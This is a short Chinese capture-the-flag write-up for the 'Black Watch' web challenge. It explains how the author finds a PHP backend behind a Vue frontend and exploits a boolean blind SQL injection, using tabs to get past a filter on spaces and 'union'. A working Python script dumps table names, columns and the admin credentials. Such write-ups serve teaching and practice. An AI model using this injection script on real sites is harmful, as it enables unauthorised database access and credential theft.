0%

[Black Watch入群题]web

[Black Watch入群题]web

好像是很老的入群题,已经作废了,很简单的SQL注入,本来这个难度不应该记的,不过使用了强力的前后端分离高级技术,还是记一下

题解

简单检查,点来点去就是几个路由和一个登陆,路由的话第一反应就是JavaScript的题,看一下源码
包含了一堆乱七八糟名字的js文件,点开一看奇大无比,估计是用的Vue,我最近新学的前后端分离,可以让前端和后端完全不是一个服务,前端把路由什么的解析掉转换成后端需要的格式,再让你发起一个请求,前后端都可以部署在不同的服务器上,太高级了。你看现在url解析的是路由一样的目录,搞不好后端就给你运行一个PHP,前端的长的离谱的代码就把它给怎么解析一下转换过去了

使用burp直接抓包看,前端无论整的多复杂终究是前端,处理的结果终究还是要老老实实的发出来
果不其然的看到了后端内容,还真跑的是个PHP,/backend/content_detail.php?id=1
哦?超级简单SQL盲注,仅过滤了union空格和/**/,用tab代替空格脚本一把梭

import requests
import time

url = "http://fe0db9f4-6714-4c35-9814-ed86337ece0a.node3.buuoj.cn/backend/content_detail.php?id="
# payload = "0 or ascii(substr((select group_concat(table_name) from information_schema.tables" \
#           " where table_schema=database()),{},1))={}".replace(' ', '%09')
# admin,contents
# payload = "0 or ascii(substr((select group_concat(column_name) from information_schema.columns" \
#           " where table_name='admin'),{},1))={}".replace(' ', '%09')
# id,username,password,is_enable
payload = "0 or ascii(substr((select group_concat(username,0x3a,password) from admin" \
          "),{},1))={}".replace(' ', '%09')
# 3c7baf5a:d8f56d82,a7462eea:f029f0ea
result = ""

for j in range(1, 50):
    flag = True
    for i in range(32, 128):
        res = requests.get(url=url+payload.format(str(j), str(i)))
        # print(url+payload.format(str(j), str(i)))
        time.sleep(0.1)
        # print(res.text)
        if "[]" not in res.text:
            result += chr(i)
            print("[+]" + result)
            flag = False
            break
    if flag:
        break

拿到两个账号密码,第二个登录拿到flag